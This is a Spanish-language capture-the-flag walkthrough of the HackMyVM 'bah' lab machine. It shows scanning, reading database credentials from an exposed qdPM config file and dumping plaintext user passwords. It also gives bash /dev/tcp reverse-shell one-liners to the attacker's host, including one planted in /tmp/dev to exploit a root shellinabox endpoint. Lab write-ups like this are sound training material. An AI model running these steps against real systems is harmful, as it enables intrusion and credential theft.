bah HackMyVM (Easy - Linux)

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-31 03:18 EDT
Nmap scan report for 192.168.5.32
Host is up (0.0050s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: qdPM | Login
3306/tcp open  mysql   MariaDB 5.5.5-10.5.11
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.5-10.5.11-MariaDB-1
|   Thread ID: 32
|   Capabilities flags: 63486
|   Some Capabilities: Support41Auth, SupportsCompression, Speaks41ProtocolOld, FoundRows, DontAllowDatabaseTableColumn, IgnoreSigpipes, LongColumnFlag, 
ConnectWithDatabase, InteractiveClient, Speaks41ProtocolNew, SupportsTransactions, SupportsLoadDataLocal, ODBCClient, IgnoreSpaceBeforeParenthesis, 
SupportsMultipleResults, SupportsAuthPlugins, SupportsMultipleStatments
|   Status: Autocommit
|   Salt: L0Ll]l'zVz)VX8N_sFCZ
|_  Auth Plugin Name: mysql_native_password
MAC Address: 08:00:27:70:7F:B6 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.45 seconds

Veremos que hay un puerto 80 y un MySQL por lo que primero vamos a ver que encontramos en el puerto 80 ya que parece ser que aloja una pagina web, si entramos veremos una pagina web con un login en el que no tenemos las credenciales, por lo que vamos a realizar un poco de fuzzing a ver que encontramos.

Gobuster

gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 50 -k -r

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.32/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,html
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 5662]
/images               (Status: 403) [Size: 153]
/uploads              (Status: 403) [Size: 153]
/css                  (Status: 403) [Size: 153]
/template             (Status: 403) [Size: 153]
/core                 (Status: 403) [Size: 153]
/install              (Status: 200) [Size: 1815]
/js                   (Status: 403) [Size: 153]
/check.php            (Status: 200) [Size: 0]
/sf                   (Status: 403) [Size: 153]
/readme.txt           (Status: 200) [Size: 470]
/robots.txt           (Status: 200) [Size: 26]
/backups              (Status: 403) [Size: 153]
/batch                (Status: 403) [Size: 153]
^C
[!] Keyboard interrupt detected, terminating.
Progress: 79425 / 882244 (9.00%)
===============================================================
Finished
===============================================================

Vemos que nos muestra muchas cosas interesantes, pero tambien sabemos que esta utilizando una tecnologia que es publica y si todo lo ha dejado por defecto podremos ver las rutas de carpetas desde un repositorio de GitHub que tenga alojado este Software de pagina web.

Si buscamos qdpm.net GitHub en Google veremos el siguiente repositorio:

URL = Repo GitHub qdpm

Si nos fijamos tiene la misma estructura que lo que nos muestra Gobuster por lo que vamos a investigar a ver que nos interesa, en principio estamos en busca de credenciales para el login o la DDBB que esta en el puerto de MySQL.

SI investigamos el repo veremos la siguiente ruta:

/core/config/

Vemos que hay un databases.yml.sample, vamos a probar dicha ruta en la pagina web.

URL = http://<IP>/core/config/databases.yml.sample

Veremos que efectivamente nos lo esta descargando, por lo que vamos a ver que encontramos dentro:

all:
  doctrine:
    class: sfDoctrineDatabase
    param:
      dsn: 'mysql:dbname=db_name;host=localhost'
      profiler: false
      username: db_username
      password: db_password
      attributes:
        quote_identifier: true

Veremos que es lo que viene por defecto como en el GitHub, vamos a probar a quitar .sample a ver si tuvieran una real que se esta utilizando.

URL = http://<IP>/core/config/databases.yml

Veremos que efectivamente nos descarga otro archivo y contiene lo siguiente:

all:
  doctrine:
    class: sfDoctrineDatabase
    param:
      dsn: 'mysql:dbname=qpm;host=localhost'
      profiler: false
      username: qpmadmin
      password: "<?php echo urlencode('qpmpazzw') ; ?>"
      attributes:
        quote_identifier: true

Vemos ya credenciales que pueden ser validas para la conexion de MySQL vamos a probarlas de la siguiente manera.

Escalate user qpmadmin

mysql --skip-ssl -s -h <IP> -u qpmadmin -pqpmpazzw

Info:

MariaDB [(none)]>

Con esto ya estaremos dentro, una vez dentro vamos a listar las DDBBs de MySQL.

show databases;

Info:

Database
hidden
information_schema
mysql
performance_schema
qpm

Vamos a listar la de hidden.

use hidden
show tables;

Info:

Tables_in_hidden
url
users

Ahora vamos a listar la de url y users.

Tabla url

select * from url;

Info:

id      url
1       http://portal.bah.hmv
2       http://imagine.bah.hmv
3       http://ssh.bah.hmv
4       http://dev.bah.hmv
5       http://party.bah.hmv
6       http://ass.bah.hmv
7       http://here.bah.hmv
8       http://hackme.bah.hmv
9       http://telnet.bah.hmv
10      http://console.bah.hmv
11      http://tmux.bah.hmv
12      http://dark.bah.hmv
13      http://terminal.bah.hmv

Tabla users

select * from users;

Info:

id      user    password
1       jwick   Ihaveafuckingpencil
2       rocio   Ihaveaflower
3       luna    Ihavealover
4       ellie   Ihaveapassword
5       camila  Ihaveacar
6       mia     IhaveNOTHING
7       noa     Ihaveflow
8       nova    Ihavevodka
9       violeta Ihaveroot

Vemos varias cosas interesantes, vamos a probar cual de esas urls es la correcta, vamos añadir todas esas urls a nuestro archivo /etc/hosts de esta forma:

nano /etc/hosts

#Dentro del nano

<IP_VICTIM>              bah.hmv portal.bah.hmv imagine.bah.hmv ssh.bah.hmv dev.bah.hmv party.bah.hmv ass.bah.hmv here.bah.hmv hackme.bah.hmv telnet.bah.hmv console.bah.hmv tmux.bah.hmv dark.bah.hmv terminal.bah.hmv

Lo guardamos y vamos probando uno por uno a ver cual es el que contiene algo diferente, si probamos con el llamado party.bah.hmv veremos lo siguiente:

Veremos como una especie de login vamos a probar con las credenciales que encontramos para conectarnos por MySQL.

bah login: qpmadmin
password: qpmpazzw

Con esto estaremos dentro:

Ahora vamos a generarnos una reverse shell para poder tener una shell mucho mejor de la que tenemos mediante la pagina web.

bash -i >& /dev/tcp/<IP>/<PORT> 0>&1

Ahora desde la maquina host haremos lo siguiente:

nc -lvnp <PORT>

Ahora si enviamos dicho comando desde la pagina web y volvemos a donde tenemos la escucha veremos lo siguiente:

listening on [any] 7777 ...
connect to [192.168.5.4] from (UNKNOWN) [192.168.5.32] 41042
qpmadmin@bah:~$ whoami
whoami
qpmadmin

Vemos que ha funcionado, por lo que sanitizaremos la shell.

Sanitización de shell (TTY)

script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>

Escalate user rocio

Si recordamos antes, vimos credenciales en la DDBB de MySQL vamos a probarlas con el usuario rocio ya que es el unico que vemos que este en el sistema.

cat /etc/passwd | grep "/bin/bash"

Info:

root:x:0:0:root:/root:/bin/bash
rocio:x:1000:1000:rocio,,,:/home/rocio:/bin/bash
qpmadmin:x:1001:1001:,,,:/home/qpmadmin:/bin/bash

Vamos hacer lo siguiente:

su rocio

Metemos como contraseña Ihaveaflower y veremos que estamos dentro.

Info:

rocio@bah:~$ whoami
rocio

Por lo que leeremos la flag del usuario.

user.txt

HdsaMoiuVdsaeqw

Escalate Privileges

Vamos a ver que procesos pasan por la maquina con un binario llamado pspy64 el cual nos vamos a pasar a nuestra maquina victima.

Una vez que nos hayamos descargado el binario, nos lo pasaremos con un servidor de python3 desde el host y en la maquina victima con un wget en la carpeta /tmp una vez echo esto, vamos a ejecutarlo.

./pspy64

Info:

pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2025/05/31 04:07:51 CMD: UID=1000  PID=930    | ./pspy64 
2025/05/31 04:07:51 CMD: UID=1000  PID=903    | bash 
2025/05/31 04:07:51 CMD: UID=0     PID=902    | su rocio 
2025/05/31 04:07:51 CMD: UID=0     PID=901    | 
2025/05/31 04:07:51 CMD: UID=1001  PID=873    | bash 
2025/05/31 04:07:51 CMD: UID=1001  PID=872    | script /dev/null -c bash 
2025/05/31 04:07:51 CMD: UID=0     PID=859    | 
2025/05/31 04:07:51 CMD: UID=1001  PID=856    | bash -i 
2025/05/31 04:07:51 CMD: UID=1001  PID=851    | -bash 
2025/05/31 04:07:51 CMD: UID=1001  PID=846    | (sd-pam) 
2025/05/31 04:07:51 CMD: UID=1001  PID=845    | /lib/systemd/systemd --user 
2025/05/31 04:07:51 CMD: UID=0     PID=839    | login -p -h 127.0.0.1 
2025/05/31 04:07:51 CMD: UID=0     PID=828    | 
2025/05/31 04:07:51 CMD: UID=0     PID=827    | 
2025/05/31 04:07:51 CMD: UID=0     PID=787    | 
2025/05/31 04:07:51 CMD: UID=0     PID=727    | 
2025/05/31 04:07:51 CMD: UID=106   PID=524    | /usr/sbin/mariadbd 
2025/05/31 04:07:51 CMD: UID=33    PID=470    | php-fpm: pool www                                                             
2025/05/31 04:07:51 CMD: UID=33    PID=469    | php-fpm: pool www                                                             
2025/05/31 04:07:51 CMD: UID=33    PID=462    | nginx: worker process                            
2025/05/31 04:07:51 CMD: UID=0     PID=459    | nginx: master process /usr/sbin/nginx -g daemon on; master_process on; 
2025/05/31 04:07:51 CMD: UID=107   PID=455    | /usr/bin/shellinaboxd -q --background=/var/run/shellinaboxd.pid -c /var/lib/shellinabox -p 4200 -u shellinabox -g shellinabox --user-css Black on White:+/etc/shellinabox/options-enabled/00+Black on White.css,White On Black:-/etc/shellinabox/options-enabled/00_White On Black.css;Color Terminal:+/etc/shellinabox/options-enabled/01+Color Terminal.css,Monochrome:-/etc/shellinabox/options-enabled/01_Monochrome.css --no-beep --disable-ssl --localhost-only -s/:LOGIN -s /devel:root:root:/:/tmp/dev                                                                                      
2025/05/31 04:07:51 CMD: UID=107   PID=453    | /usr/bin/shellinaboxd -q --background=/var/run/shellinaboxd.pid -c /var/lib/shellinabox -p 4200 -u shellinabox -g shellinabox --user-css Black on White:+/etc/shellinabox/options-enabled/00+Black on White.css,White On Black:-/etc/shellinabox/options-enabled/00_White On Black.css;Color Terminal:+/etc/shellinabox/options-enabled/01+Color Terminal.css,Monochrome:-/etc/shellinabox/options-enabled/01_Monochrome.css --no-beep --disable-ssl --localhost-only -s/:LOGIN -s /devel:root:root:/:/tmp/dev                                                                                      
2025/05/31 04:07:51 CMD: UID=0     PID=424    | /sbin/agetty -o -p -- \u --noclear tty1 linux 
2025/05/31 04:07:51 CMD: UID=0     PID=356    | /lib/systemd/systemd-logind 
2025/05/31 04:07:51 CMD: UID=0     PID=351    | /usr/sbin/rsyslogd -n -iNONE 
2025/05/31 04:07:51 CMD: UID=0     PID=346    | php-fpm: master process (/etc/php/7.4/fpm/php-fpm.conf)                       
2025/05/31 04:07:51 CMD: UID=104   PID=325    | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only 
2025/05/31 04:07:51 CMD: UID=0     PID=324    | /usr/sbin/cron -f 
2025/05/31 04:07:51 CMD: UID=0     PID=307    | /sbin/dhclient -4 -v -i -pf /run/dhclient.enp0s3.pid -lf /var/lib/dhcp/dhclient.enp0s3.leases -I -df /var/lib/dhcp/dhclient6.enp0s3.leases enp0s3                                                                                                                         
2025/05/31 04:07:51 CMD: UID=101   PID=278    | /lib/systemd/systemd-timesyncd 
2025/05/31 04:07:51 CMD: UID=0     PID=274    | 
2025/05/31 04:07:51 CMD: UID=0     PID=271    | 
2025/05/31 04:07:51 CMD: UID=0     PID=269    | 
2025/05/31 04:07:51 CMD: UID=0     PID=267    | 
2025/05/31 04:07:51 CMD: UID=0     PID=265    | 
2025/05/31 04:07:51 CMD: UID=0     PID=262    | 
2025/05/31 04:07:51 CMD: UID=0     PID=259    | 
2025/05/31 04:07:51 CMD: UID=0     PID=253    | 
2025/05/31 04:07:51 CMD: UID=0     PID=249    | 
2025/05/31 04:07:51 CMD: UID=0     PID=240    | 
2025/05/31 04:07:51 CMD: UID=0     PID=234    | 
2025/05/31 04:07:51 CMD: UID=0     PID=206    | /lib/systemd/systemd-udevd 
2025/05/31 04:07:51 CMD: UID=0     PID=181    | /lib/systemd/systemd-journald 
2025/05/31 04:07:51 CMD: UID=0     PID=147    | 
2025/05/31 04:07:51 CMD: UID=0     PID=146    | 
2025/05/31 04:07:51 CMD: UID=0     PID=110    | 
2025/05/31 04:07:51 CMD: UID=0     PID=109    | 
2025/05/31 04:07:51 CMD: UID=0     PID=108    | 
2025/05/31 04:07:51 CMD: UID=0     PID=107    | 
2025/05/31 04:07:51 CMD: UID=0     PID=106    | 
2025/05/31 04:07:51 CMD: UID=0     PID=105    | 
2025/05/31 04:07:51 CMD: UID=0     PID=104    | 
2025/05/31 04:07:51 CMD: UID=0     PID=66     | 
2025/05/31 04:07:51 CMD: UID=0     PID=65     | 
2025/05/31 04:07:51 CMD: UID=0     PID=62     | 
2025/05/31 04:07:51 CMD: UID=0     PID=52     | 
2025/05/31 04:07:51 CMD: UID=0     PID=51     | 
2025/05/31 04:07:51 CMD: UID=0     PID=50     | 
2025/05/31 04:07:51 CMD: UID=0     PID=49     | 
2025/05/31 04:07:51 CMD: UID=0     PID=48     | 
2025/05/31 04:07:51 CMD: UID=0     PID=47     | 
2025/05/31 04:07:51 CMD: UID=0     PID=46     | 
2025/05/31 04:07:51 CMD: UID=0     PID=45     | 
2025/05/31 04:07:51 CMD: UID=0     PID=44     | 
2025/05/31 04:07:51 CMD: UID=0     PID=43     | 
2025/05/31 04:07:51 CMD: UID=0     PID=25     | 
2025/05/31 04:07:51 CMD: UID=0     PID=24     | 
2025/05/31 04:07:51 CMD: UID=0     PID=23     | 
2025/05/31 04:07:51 CMD: UID=0     PID=22     | 
2025/05/31 04:07:51 CMD: UID=0     PID=21     | 
2025/05/31 04:07:51 CMD: UID=0     PID=20     | 
2025/05/31 04:07:51 CMD: UID=0     PID=19     | 
2025/05/31 04:07:51 CMD: UID=0     PID=18     | 
2025/05/31 04:07:51 CMD: UID=0     PID=17     | 
2025/05/31 04:07:51 CMD: UID=0     PID=15     | 
2025/05/31 04:07:51 CMD: UID=0     PID=14     | 
2025/05/31 04:07:51 CMD: UID=0     PID=13     | 
2025/05/31 04:07:51 CMD: UID=0     PID=12     | 
2025/05/31 04:07:51 CMD: UID=0     PID=11     | 
2025/05/31 04:07:51 CMD: UID=0     PID=10     | 
2025/05/31 04:07:51 CMD: UID=0     PID=9      | 
2025/05/31 04:07:51 CMD: UID=0     PID=6      | 
2025/05/31 04:07:51 CMD: UID=0     PID=4      | 
2025/05/31 04:07:51 CMD: UID=0     PID=3      | 
2025/05/31 04:07:51 CMD: UID=0     PID=2      | 
2025/05/31 04:07:51 CMD: UID=0     PID=1      | /sbin/init 
2025/05/31 04:08:22 CMD: UID=0     PID=937    | /sbin/dhclient -4 -v -i -pf /run/dhclient.enp0s3.pid -lf /var/lib/dhcp/dhclient.enp0s3.leases -I -df /var/lib/dhcp/dhclient6.enp0s3.leases enp0s3                                                                                                                         
2025/05/31 04:08:22 CMD: UID=0     PID=938    | /bin/sh /sbin/dhclient-script 
2025/05/31 04:08:22 CMD: UID=0     PID=939    | /bin/sh /sbin/dhclient-script 
2025/05/31 04:08:22 CMD: UID=0     PID=940    | /bin/sh /sbin/dhclient-script 
2025/05/31 04:08:22 CMD: UID=0     PID=941    | /bin/sh /sbin/dhclient-script 
2025/05/31 04:08:22 CMD: UID=0     PID=942    | /bin/sh /sbin/dhclient-script 
2025/05/31 04:08:22 CMD: UID=0     PID=943    | /bin/sh /sbin/dhclient-script 
2025/05/31 04:08:22 CMD: UID=0     PID=944    | /bin/sh /sbin/dhclient-script 
2025/05/31 04:08:22 CMD: UID=0     PID=945    | /bin/sh /sbin/dhclient-script 
2025/05/31 04:08:53 CMD: UID=0     PID=946    | 
2025/05/31 04:09:01 CMD: UID=0     PID=947    | /usr/sbin/CRON -f 
2025/05/31 04:09:01 CMD: UID=0     PID=948    | /usr/sbin/CRON -f 
2025/05/31 04:09:02 CMD: UID=0     PID=949    | /sbin/init 
...........................<RESTO DE PROCESOS>.....................................

Vemos que en esta parte de aqui:

2025/05/31 04:07:51 CMD: UID=107   PID=455    | /usr/bin/shellinaboxd -q --background=/var/run/shellinaboxd.pid -c /var/lib/shellinabox -p 4200 -u shellinabox -g shellinabox --user-css Black on White:+/etc/shellinabox/options-enabled/00+Black on White.css,White On Black:-/etc/shellinabox/options-enabled/00_White On Black.css;Color Terminal:+/etc/shellinabox/options-enabled/01+Color Terminal.css,Monochrome:-/etc/shellinabox/options-enabled/01_Monochrome.css --no-beep --disable-ssl --localhost-only -s/:LOGIN -s /devel:root:root:/:/tmp/dev                                                                                      
2025/05/31 04:07:51 CMD: UID=107   PID=453    | /usr/bin/shellinaboxd -q --background=/var/run/shellinaboxd.pid -c /var/lib/shellinabox -p 4200 -u shellinabox -g shellinabox --user-css Black on White:+/etc/shellinabox/options-enabled/00+Black on White.css,White On Black:-/etc/shellinabox/options-enabled/00_White On Black.css;Color Terminal:+/etc/shellinabox/options-enabled/01+Color Terminal.css,Monochrome:-/etc/shellinabox/options-enabled/01_Monochrome.css --no-beep --disable-ssl --localhost-only -s/:LOGIN -s /devel:root:root:/:/tmp/dev

Hace esto de forma desglosada.

-q

Modo silencioso (quiet).

--background=...

Crea un archivo PID para el demonio.

-c /var/lib/shellinabox

Directorio base para configuración.

-p 4200

Expone el servicio en el puerto 4200.

-u shellinabox -g shellinabox

Ejecuta como el usuario y grupo shellinabox.

--disable-ssl

No usa HTTPS (¡peligroso si accesible remotamente!).

--localhost-only

Solo acepta conexiones locales (127.0.0.1).

-s /:LOGIN

Crea un endpoint / que muestra una terminal de login normal.

-s /devel:root:root:/:/tmp/dev

Crea un endpoint /devel que abre una terminal como root en /tmp/dev.

Esta claro que el mas interesante aqui es en el que crea un endpoint como el usuario root, por lo que vamos hacer lo siguiente:

cd /tmp
nano dev

#Dentro del nano
#!/bin/bash

bash -i >& /dev/tcp/<IP>/<PORT> 0>&1
chmod +x dev

Lo guardamos y nos ponemos a la escucha en la maquina host.

nc -lvnp <PORT>

Ahora teniendo todo, para ejecutar en endpoint tendremos que visitar dicho endpoint que se encuentra en /devel.

URL = http://party.bah.hmv/devel

Ahora si todo ha salido bien, cuando volvamos a donde tenemos la escucha veremos lo siguiente:

listening on [any] 7755 ...
connect to [192.168.5.4] from (UNKNOWN) [192.168.5.32] 35088
root@bah:/# whoami
whoami
root

Con esto veremos que ha funcionando, por lo que ya seremos root y leeremos la flag de root.

root.txt

HMVssssshell323

Last updated